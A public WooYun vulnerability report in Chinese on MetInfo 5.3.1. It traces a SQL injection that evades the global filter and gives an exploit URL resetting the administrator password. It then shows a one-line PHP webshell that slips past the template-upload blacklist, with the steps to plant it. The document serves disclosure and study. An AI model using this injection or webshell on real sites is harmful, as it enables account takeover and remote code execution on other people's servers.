当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134479

漏洞标题:metinfo 5.3.1 注入漏洞(无视全局防御)+后台getshell

相关厂商:MetInfo

漏洞作者: 淡蓝色の忧伤

提交时间:2015-08-17 10:55

修复时间:2015-11-15 11:24

公开时间:2015-11-15 11:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-17: 细节已通知厂商并且等待厂商处理中
2015-08-17: 厂商已经确认,细节仅向厂商公开
2015-08-20: 细节向第三方安全合作伙伴开放
2015-10-11: 细节向核心白帽子及相关领域专家公开
2015-10-21: 细节向普通白帽子公开
2015-10-31: 细节向实习白帽子公开
2015-11-15: 细节向公众公开

简要描述:

发后台getshell,审核不给过,说要后台权限,那我就给你后台权限O(∩_∩)O哈

详细说明:

注入触发点
/admin/include/global.func.php 1456行save_met_cookie函数

function save_met_cookie(){
global $met_cookie,$db,$met_admin_table;
$met_cookie['time']=time();
$json=json_encode($met_cookie);
$username=$met_cookie[metinfo_admin_id]?$met_cookie[metinfo_admin_id]:$met_cookie[metinfo_member_id];
$username=daddslashes($username,0,1);
$query="update $met_admin_table set cookie='$json' where id='$username'";
$user=$db->query($query);
}


$json=json_encode($met_cookie); 将$met_cookie转为json格式,存入数据库;
这里说明一下,json_encode 会吃掉转移符\,当我们引入单引号的时候 json 吃掉了 单引号的转译符\ ,所以在进入SQL语句的时候我们能保留 单引号 ',有了单引号一切就好办了。而且这个语句处理的是 met_admin_table 表,是管理员表。
我们看看$met_cookie
metinfo 采用伪全局变量机制
在/admin/include/common.inc.php 第76行

$met_cookie_filter=$met_cookie;
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key]=daddslashes($_value,0,0,1);
}
}
$met_cookie=array();
$met_cookie=$met_cookie_filter;
$settings=array();
$db_settings=array();
$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php');
@extract($db_settings);


这里对$met_cookie 的处理,真是笑死了,只需要对$met_cookie_filter进行赋值还是能影响$met_cookie

我们看看daddslashes函数怎么处理的
/admin/include/global.func.php 注意是后台,前台也有个daddslashes函数但是代码不一样

function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
if(is_array($string)){
if($url){
//$string='';
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}else{
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}
}else{
if(SQL_DETECT!=1 || $sql_injection==1){
$string = str_ireplace("\"","/",$string);
$string = str_ireplace("'","/",$string);
$string = str_ireplace("*","/",$string);
$string = str_ireplace("~","/",$string);
$url = str_ireplace("\"","/",$url);
$url = str_ireplace("'","/",$url);
$url = str_ireplace("*","/",$url);
$url = str_ireplace("~","/",$url);
$string = str_ireplace("select", "\sel\ect", $string);
$string = str_ireplace("insert", "\ins\ert", $string);
$string = str_ireplace("update", "\up\date", $string);
$string = str_ireplace("delete", "\de\lete", $string);
$string = str_ireplace("union", "\un\ion", $string);
$string = str_ireplace("into", "\in\to", $string);
$string = str_ireplace("load_file", "\load\_\file", $string);
$string = str_ireplace("outfile", "\out\file", $string);
$string = str_ireplace("sleep", "\sle\ep", $string);
$string = str_ireplace("where", "\where", $string);
$string_html=$string;
$string = strip_tags($string);
if($string_html!=$string){
$string='';
}
$string = str_replace("%", "\%", $string); //
}
}
return $string;
}


(SQL_DETECT!=1 || $sql_injection==1)当满足这个条件时才过滤关键字,否则只是用addslashes处理, sql_injection默认为 0 ,我们找 SQL_DETECT
在admin/login/login.check.php
第9行 定义了define('SQL_DETECT',1);

if($depth!=''&&$depth!='../'&&$depth!='../../'){die();}
if(!isset($depth))$depth='';
$commonpath=$depth.'include/common.inc.php';
$commonpath=$admin_index?$commonpath:'../'.$commonpath;
define('SQL_DETECT',1);
require_once $commonpath;


所以只要在这里引入的变量都只是使用addslashes 处理
而save_met_cookie函数又能得到单引号,我们这样就绕过了metinfo的防御了。
现在找一下漏洞触发点
从上面的代码可以看到 在admin/login/login.check.php 中引入
admin/include/common.inc.php
而在 admin/include/common.inc.php文件的最后引入了
metlist.php
在metlist.php 第91行左右

if(!$shortcut_list){
$shortcut_list[0]=array('name'=>'lang_skinbaseset','url'=>'system/basic.php?anyid=9&lang=cn','bigclass'=>'1','field'=>'s1001','type'=>'2','list_order'=>'10','protect'=>'1','hidden'=>'0');
$shortcut_list[1]=array('name'=>'lang_indexcolumn','url'=>'column/index.php?anyid=25&lang=cn','bigclass'=>'1','field'=>'s1201','type'=>'2','list_order'=>'0','protect'=>'1','hidden'=>'0');
$shortcut_list[2]=array('name'=>'lang_unitytxt_75','url'=>'interface/skin_editor.php?anyid=18&lang=cn','bigclass'=>'1','field'=>'s1101','type'=>'2','list_order'=>'0','protect'=>'1','hidden'=>'0');
$shortcut_list[3]=array('name'=>'lang_tmptips','url'=>"interface/info.php?anyid=24&lang=cn",'bigclass'=>'1','field'=>'s1101','type'=>'2','list_order'=>'0','protect'=>'1','hidden'=>'0');
change_met_cookie('metinfo_admin_shortcut',$shortcut_list);
save_met_cookie();
$query="update $met_admin_table set admin_shortcut='".json_encode($shortcut_list)."' where admin_id='$metinfo_admin_name'";
$db->query($query);
}


我们看到调用了 save_met_cookie()函数;

漏洞证明:

因为没有回显,就把$query 输出好证明。
因为save_met_cookie函数中的数据表是管理员表,我们可以直接把管理员密码改了
O(∩_∩)O哈哈~
访问
/admin/login/login_check.php?met_cookie_filter[a]=a%27,admin_pass=md5(1234567)+where+id=1;+%23--

metinfo注入.png


这样就可以吧管理员密码改为12345678
当然利用不止这些(⊙o⊙)哦,毕竟我们已经绕过了防御。
现在后台getshell
getshel admin\include\uploadify.php 206行

elseif($type=='skin'){
/*模板文件*/
$filetype=explode('.',$_FILES['Filedata']['name']);
if($filetype[count($filetype)-1]=='zip'){
if(stristr($met_file_format,'zip') === false){
echo $lang_jsx36;
die();
}
//if(!is_writable('../../templates/'))@chmod('../../templates/',0777);
$filenamearray=explode('.zip',$_FILES['Filedata']['name']);
$skin_if=$db->get_one("SELECT * FROM {$met_skin_table} WHERE skin_file='{$filenamearray[0]}'");
if($skin_if){
$metinfo=$lang_loginSkin;
}else{
$f = new upfile('zip','../../templates/','','');
if($f->get_error()){
echo $f->get_errorcode();
die();
}
if(file_exists('../../templates/'.$filenamearray[0].'.zip'))$filenamearray[0]='metinfo'.$filenamearray[0];
$met_upsql = $f->upload('Filedata',$filenamearray[0]);
include "pclzip.lib.php";
$archive = new PclZip('../../templates/'.$filenamearray[0].'.zip');
if($archive->extract(PCLZIP_OPT_PATH, '../../templates/') == 0)$metinfo=$archive->errorInfo(true);
$list = $archive->listContent();
$error=0;
foreach($list as $key=>$val){
if(preg_match("/\.(asp|aspx|jsp)/i",$val[filename])){
$error=1;
}
if(!is_dir('../../templates/'.$val[filename])&&preg_match("/\.(php)/i",$val[filename])){
$danger=explode('|','preg_replace|assert|dirname|file_exists|file_get_contents|file_put_contents|fopen|mkdir|unlink|readfile|eval|cmd|passthru|system|gzuncompress|exec|shell_exec|fsockopen|pfsockopen|proc_open|scandir');
$ban='preg_replace|assert|eval|\$_POST|\$_GET';
foreach($danger as $key1 => $val1){
$str=file_get_contents('../../templates/'.$val[filename]);
$str=str_replace(array('\'','"','.'),'',$str);
if(preg_match("/([^A-Za-z0-9_]$val1)[\r\n\t]{0,}([\[\(])/i",$str)){
$error=1;
}
if(preg_match('/('.$ban.')/i',$str)){
$error=1;
}

}
}
}
@unlink('../../templates/'.$filenamearray[0].'.zip');
if($error){
foreach($list as $key=>$val){
if(is_dir('../../templates/'.$val[filename])){
@deldir('../../templates/'.$val[filename]);
}else{
@unlink('../../templates/'.$val[filename]);
}
}
$metinfo='含有危险函数,禁止上传!!';
}else{
$metinfo='1$'.$filenamearray[0];
}
}



上传.zip 文件会自动解压,不过有过滤,但是是 采用黑名单方式,用回调函数可以轻易绕过 如下面的一句话
<?php $e = $_REQUEST['e']; $arr = array($_REQUEST['pass'],); array_filter($arr, base64_decode($e)); ?>
接下来是利用 把上面的码写进test.php文件里压缩为test.zip格式 在后台找个能上传的的地方上传, 修改参数 type=skin 上传成功后在/templates目录下生成 test.php

修复方案:

看我写的怎么辛苦,求高rank,求 $$.

版权声明:转载请注明来源 淡蓝色の忧伤@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-17 11:23

厂商回复:

后续版本修复!感谢您的反馈!

最新状态:

暂无